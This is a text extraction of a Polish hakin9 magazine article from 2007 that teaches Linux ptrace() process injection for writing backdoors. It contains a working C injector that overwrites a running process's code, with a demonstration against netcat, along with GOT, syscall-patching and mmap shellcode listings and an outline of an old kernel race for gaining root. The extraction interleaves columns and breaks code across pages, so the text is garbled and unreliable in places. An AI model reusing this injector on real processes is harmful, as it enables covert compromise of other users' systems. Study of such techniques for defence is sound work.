Hakowanie aplikacji-Rootkity i Ptrace.pdf

(2355 KB) Pobierz
222429231 UNPDF
Hakowanie aplikacji
Rootkity i Ptrace
Atak
Stefan Klaas
stopień trudności
Przede wszystkim muszę zastrzec, że ten tekst jest specyi czny
dla Linuksa i potrzebna jest pewna wiedza o programowaniu w
ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych
technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i
prywatnych eksploitów , furtek i innych aplikacji. Przyjrzymy się bliżej
funkcji i nauczymy się, jak pisać własne furtki.
le dostępnych publicznie funkcji
nadpisujących kod. Jest trochę ko-
du w „podziemiu”, który nie jest publicznie
udostępniony z powodu przeterminowania
(10.2006) i nie ma też dobrych dokumen-
tów opisujących tą technikę, dlatego obja-
śnię ją. Jeśli znasz już ptrace(), ten arty-
kuł powinien Cię również zainteresować,
bo zawsze to dobrze jest się nauczyć no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną część stosu? Zatem czytaj czytaj dalej,
bo przedstawię w szczegółach, jak to zro-
bić. Zastrzegam też, że użyłem następują-
cych wersji gcc :
Objaśnienie funkcji ptrace()
Funkcja ptrace() jest bardzo użyteczna przy
debugowaniu. Używa się jej do śledzenia pro-
cesów.
Wywołanie systemowe ptrace() dostar-
cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów
Z artykułu dowiesz się...
• należy rozumieć wywołanie systemowe
ptrace ();
• używać go w celu zmiany przepływu stero-
wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.
gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)
Powinieneś wiedzieć...
Kompilujemy zawsze prostą metodą gcc i le.c
-o output ; nie trzeba żadnych l ag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.
• należy być obytym ze środowiskiem Linuksa,
jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.
12
hakin9 Nr 1/2007
www.hakin9.org
D otychczas nie znaliśmy zbyt wie-
222429231.005.png
Pisanie własnych furtek
zatrzymania podczas debugowania
i śledzenia wywołań systemowych.
Proces nadrzędny może zainicjo-
wać śledzenie poprzez wywołanie
fork() i nakazanie procesowi potom-
nemu wykonania PTRACE _ TRACEME , a
po nim (zazwyczaj) exec . Ewentual-
nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem PTRACE _ ATTACH .
Proces potomny, gdy jest śle-
dzony, zatrzyma się za każdym ra-
zem, gdy dostanie sygnał, nawet
jeśli sygnał ma ustawione ignoro-
wanie (poza SIGKILL , który kończy
się zawsze tak samo). Proces nad-
rzędny będzie notyi kowany w na-
stępnym miejscu oczekiwania i mo-
że przeglądać i modyi kować pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzędny następnie
każe procesowi potomnemu kon-
tynuować wykonanie, opcjonalnie
ignorując dostarczony sygnał (al-
bo nawet dostarczając mu inny sy-
gnał).
Gdy proces nadrzędny zakoń-
czy śledzenie, może przerwać pro-
ces potomny przez PTRACE _ KILL ,
albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym
trybie, przez PTRACE _ DETACH . War-
tość podana jako „ request ” okre-
śla akcję, jaka ma być podjęta:
PTRACE _ TRACEME – oznacza, że ten
proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za SIGKILL ) dostarczony do proce-
su spowoduje zatrzymanie, a pro-
ces nadrzędny będzie notyi kowa-
ny w wait() . Również każde na-
stępne wywołanie exec ... () przez
ten proces spowoduje dostarczenie
SIGTRAP, umożliwiając procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać. Proces raczej nie powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie go śledzić ( pid , addr i data
są ignorowane). To powyższe żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne tylko przez proces nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż
Listing 1. Przykładowy ptrace()-owy wstrzykiwacz
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <asm/user.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <linux/ptrace.h>
asm ( "MY_BEGIN: \n "
"call para_main \n " ); /* oznaczamy początek kodu pasożyta */
char * getstring ( void ) {
asm ( "call me \n "
"me: \n "
"popl %eax \n "
"addl $(MY_END - me), %eax \n " );
}
void para_main ( void ) {
/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/
asm ( " \n "
"movl $1, %eax \n "
"movl $31337, %ebx \n "
"int $0x80 \n "
" \n " );
/*
* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/
}
asm ( "MY_END:" ); /* tu kończy się zawartość pasożyta */
char * GetParasite ( void ) /* umieść pasożyta */
{
asm ( "call me2 \n "
"me2: \n "
"popl %eax \n "
"subl $(me2 - MY_BEGIN), %eax \n "
" \n " );
}
int PARA_SIZE ( void )
{
asm ( "movl $(MY_END-MY_BEGIN), %eax \n " ); /* weź rozmiar pasożyta */
}
int main ( int argc , char * argv [])
{
int parasize ;
int i , a , pid ;
char inject [ 8000 ];
struct user_regs_struct reg ;
printf ( " \n [Przykladowy wtryskiwacz ptrace] \n " );
if ( argv [ 1 ] == 0 ) {
printf ( "[usage: %s [pid] ] \n\n " , argv [ 0 ]);
exit ( 1 );
}
pid = atoi ( argv [ 1 ]); parasize = PARA_SIZE (); /* liczymy rozmiar */
while (( parasize % 4 ) != 0 ) parasize ++; /* tworzymy kod do wstrzyknięcia */
{
memset (& inject , 0 , sizeof ( inject ));
memcpy ( inject , GetParasite () , PARA_SIZE ());
if ( ptrace ( PTRACE_ATTACH , pid , 0 , 0 ) < 0 ) /* podłącz się do procesu */
{
www.hakin9.org
hakin9 Nr 1/2007
13
222429231.006.png
Atak
Listing 1a. Przykładowy ptrace()-owy wstrzykiwacz
PTRACE _ KILL , proces potomny musi
być zatrzymany.
PTRACE _ PEEKTEXT , PTRACE _
PEEKDATA – czyta słowo spod lo-
kacji addr w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat ptrace() . Linux nie umieszcza
segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument
data jest ignorowany).
PTRACE _ PEEKUSR – czyta sło-
wo spod przesunięcia addr w prze-
strzeni USER procesu potomnego,
który trzyma rejestry i inne informa-
cje o procesie (patrz <linux/user.h>
i <sys/user.h> . Słowo jest zwracane
jako rezultat ptrace() . Zwykle prze-
sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).
PTRACE _ POKETEXT, PTRACE _
POKEDATA – kopiuje słowo spod „ da-
ta ” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.
PTRACE _ POKEUSR – kopiuje słowo
z data pod przesunięcie addr w prze-
strzeni USER procesu potomnego. Jak
wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyi kacje w obszarze USER są nie-
dozwolone.
PTRACE _ GETREGS , PTRACE _
GETFPREGS – kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji data w
procesie potomnym. Zobacz <linux/
user.h> w celu uzyskania informacji
na temat formatu tych danych (addr
jest ignorowane).
PTRACE _ SETREGS , PTRACE _
SETFPREGS – kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
zmiennoprzecinkowe z lokacji data
w procesie nadrzędnym. Podobnie,
jak w PTRACE _ POKEUSER , modyi kacja
niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).
PTRACE _ CONT – wznawia wyko-
nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest
Przetestujmy to na terminalu (A):
server : ~# gcc ptrace . c - W
server : ~# nc - lp 1111 &
[ 1 ] 7314
server : ~# ./ a . out 7314
[ Przykladowy wtryskiwacz ptrace ]
+ attached to proccess id : 7314
- sending stop signal ..
+ proccess stopped .
- calculating parasite injection size ..
+ Parasite is at : 0x400fa276
- detach ..
+ i nished !
server : ~#
A teraz na terminalu (B), pokażemy strace-m proces Netcat:
gw1 : ~# strace - p 7314
Process 7314 attached
- interrupt to quit
accept(3,
Wracamy na terminal A i podłączamy się pod zainfekowany proces
Netcat:
server : ~# nc - v localhost 1111
localhost [ 127.0 . 0.1 ] 1111 ( ? ) open
[ 1 ]+ Exit 105 nc - lp 1111
server : ~#
Sprawd ź my teraz , co napisa ł strace na terminalu B :
accept ( 3 , { sa_family = AF_INET ,
sin_port = htons ( 35261 ) ,
sin_addr = inet_addr
( "127.0.0.1" ) } , [ 16 ]) = 4
_exit ( 31337 ) = ?
Process 7314 detached
server : ~#
Listing 1b. Prosty wstrzykiwacz ptrace()
printf ( "cant attach to pid %d: %s \n " , pid , strerror ( errno ));
exit ( 1 );
}
printf ( "+ attached to proccess id: %d \n " , pid );
printf ( "- sending stop signal.. \n " );
kill ( pid , SIGSTOP ); /* zatrzymaj proces*/
waitpid ( pid , NULL , WUNTRACED );
printf ( "+ proccess stopped. \n " );
ptrace ( PTRACE_GETREGS , pid , 0 , & reg ); /* pobierz rejestry */
printf ( "- calculating parasite injection size.. \n " );
for ( i = 0 ; i < parasize ; i += 4 ) /* wrzuć kod pasożyta pod %eip */
{
int dw ;
memcpy (& dw , inject + i , 4 );
ptrace ( PTRACE_POKETEXT , pid , reg . eip + i , dw );
}
printf ( "+ Parasite is at: 0x%x \n " , reg . eip );
printf ( "- detach.. \n " );
ptrace ( PTRACE_CONT , pid , 0 , 0 ); /* wznów proces potomny */
14
hakin9 Nr 1/2007
www.hakin9.org
222429231.007.png 222429231.008.png
Pisanie własnych furtek
Listing 1c. Prosty wstrzykiwacz ptrace()
niezerowa i nie SIGSTOP , jest inter-
pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny żaden sygnał. W ten sposób,
na przykład, proces potomny mo-
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
rowane).
PTRACE _ SYSCALL , PTRACE _ SINGLE -
STEP – wznawia wykonywanie zatrzy-
manego procesu potomnego, jak dla
PTRACE _ CONT , ale zarządza, że pro-
ces potomny będzie zatrzymany od-
powiednio przy następnym wejściu
lub wyjściu z wywołania systemo-
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu nadrzędnego, proces potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie SIGTRAP .
Zatem P TRACE _ SYSCALL można użyć
w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go PTRACE _ SYSCALL i sprawdzamy
wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).
PTRACE _ KILL – wysyła SIGKILL
procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).
PTRACE _ ATTACH – dołącza się do
procesu podanego jako pid , powo-
dując że ten proces staje się śle-
dzonym procesem potomnym dla
bieżącego procesu, czyli tak, jak-
by ten „potomny” proces wyko-
nał PTRACE _ TRACEME . Bieżący pro-
ces staje się w istocie procesem
nadrzędnym tego potomnego pro-
cesu dla niektórych zastosowań
(np. będzie dostawał notyi kacje
zdarzeń procesu potomnego i bę-
dzie widoczny w raporcie ps (1) ja-
ko proces nadrzędny tego proce-
su, ale getppid (2) w procesie po-
tomnym będzie wciąż zwracać pid
oryginalnego procesu nadrzędne-
go. Proces potomny dostaje sygnał
SIGSTOP , ale niekoniecznie zatrzy-
ma się na tym wywołaniu; należy
ptrace ( PTRACE_DETACH , pid , 0 , 0 ); /* odłącz się od procesu */
printf ( "+ i nished! \n\n " );
exit ( 0 );
}
}
Listing 2. Rzut oka na tablicę GOT
[ root @ hal / root ] # objdump -R /usr/sbin/httpd |grep read
08086 b5c R_386_GLOB_DAT ap_server_post_read_coni g
08086 bd0 R_386_GLOB_DAT ap_server_pre_read_coni g
08086 c0c R_386_GLOB_DAT ap_threads_per_child
080869 b0 R_386_JUMP_SLOT fread
08086 b24 R_386_JUMP_SLOT readdir
08086 b30 R_386_JUMP_SLOT read <-- tu mamy nasz ą read ()
[ root @ hal / root ] #
Listing 3. Przykład sys_write
int patched_syscall ( int fd , char * data , int size )
{
// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)
asm ( "
movl $ 4 , % eax # oryginalne wywołanie systemowe
movl $ 0x8 (% esp ) , % ebx # fd
movl $ 0xc (% esp ) , % ecx # dane
movl $ 0x10 (% esp ) , % edx # rozmiar
int $ 0x80
// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym
// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu
// nie wstawiaj instrukcji 'ret' na koniec!
" )
Listing 4. Kod z infektora Ii, znaleziony w internecie, do przydzielania
potrzebnej pamięci
void infect_code ()
{
asm ( "
xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
" );
}
www.hakin9.org
hakin9 Nr 1/2007
15
222429231.001.png
Atak
użyć wait () w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).
PTRACE _ DETACH – wznawia zatrzy-
many proces potomny, jak dla PTRACE _
CONT , ale uprzednio odłącza się od
procesu, cofając efekt zmiany rodzi-
ca wywołany przez PTRACE _ ATTACH i
efekt wywołania PTRACE _ TRACEME . Mi-
mo, że niekoniecznie o to może cho-
dzić, pod Linuksem śledzony proces
potomny może zostać odłączony w
ten sposób, niezależnie od metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).
Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.
programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.
Praktyczne
zastosowania
wywołania ptrace()
Zwykle ptrace() jest stosowane do
śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją wywołań ptrace() do śledzenia
wykonujących się procesów. Jest
parę interesujących i użytecznych
Czym są pasożyty
Pasożyty są to nie replikowane sa-
modzielnie kody, które wstrzykuje
się do programów przez zainfeko-
wanie ELF-a lub bezpośrednio do
pamięci procesu w czasie jego wy-
konywania, przez ptrace() . Główna
różnica zasadza się tu na tym, że in-
fekcja ptrace() nie jest rezydentna,
podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez
ptrace() rezyduje tylko w pamięci,
zatem jeśli proces, na przykład, do-
stanie SIGKILL -a, pasożyt wyciągnie
nogi wraz z nim. Ponieważ ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.
Rysunek 1. Ściągnięcie i kompilacja wstrzykiwacza
Klasyczne
wstrzyknięcie ptrace()
Ptrace() potrai obserwować i kon-
trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
starej dziury ptrace() w starym ją-
drze Linuksa.
Jądra Linuxa przed 2.2.19 mia-
ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego execve() .
Wstrzymując proces potomny
przez sleep() wewnątrz execve() ,
atakujący może użyć ptrace() lub
podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-
tuid , atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych jest też kilka innych pro-
blemów bezpieczeństwa związa-
nych z ptrace() w jądrze Linuxa
Listing 5. Przykład, czego potrzeba do funkcji infect_code()
ptrace ( PTRACE_GETREGS , pid , & reg , & reg );
ptrace ( PTRACE_GETREGS , pid , & regb , & regb );
reg . esp -= 4 ;
ptrace ( PTRACE_POKETEXT , pid , reg . esp , reg . eip );
ptr = start = reg . esp - 1024 ;
reg . eip = ( long ) start + 2 ;
ptrace ( PTRACE_SETREGS , pid , & reg , & reg );
while ( i < strlen ( sh_code )) {
ptrace ( PTRACE_POKETEXT , pid , ptr , ( int ) *( int *)( sh_code + i ));
i += 4 ;
ptr += 4 ;
}
printf ( "trying to allocate memory \n " );
ptrace ( PTRACE_SYSCALL , pid , 0 , 0 );
ptrace ( PTRACE_SYSCALL , pid , 0 , 0 );
ptrace ( PTRACE_SYSCALL , pid , 0 , 0 );
ptrace ( PTRACE_GETREGS , pid , & reg , & reg );
ptrace ( PTRACE_SYSCALL , pid , 0 , 0 );
printf ( "new memory region mapped to..: 0x%.8lx \n " , reg . eax );
printf ( "backing up registers... \n " );
ptrace ( PTRACE_SETREGS , pid , & regb , & regb );
printf ( "dynamical mapping complete! \n " , pid );
ptrace ( PTRACE_DETACH , pid , 0 , 0 );
return reg . eax ;
16
hakin9 Nr 1/2007
www.hakin9.org
222429231.002.png 222429231.003.png 222429231.004.png
Zgłoś jeśli naruszono regulamin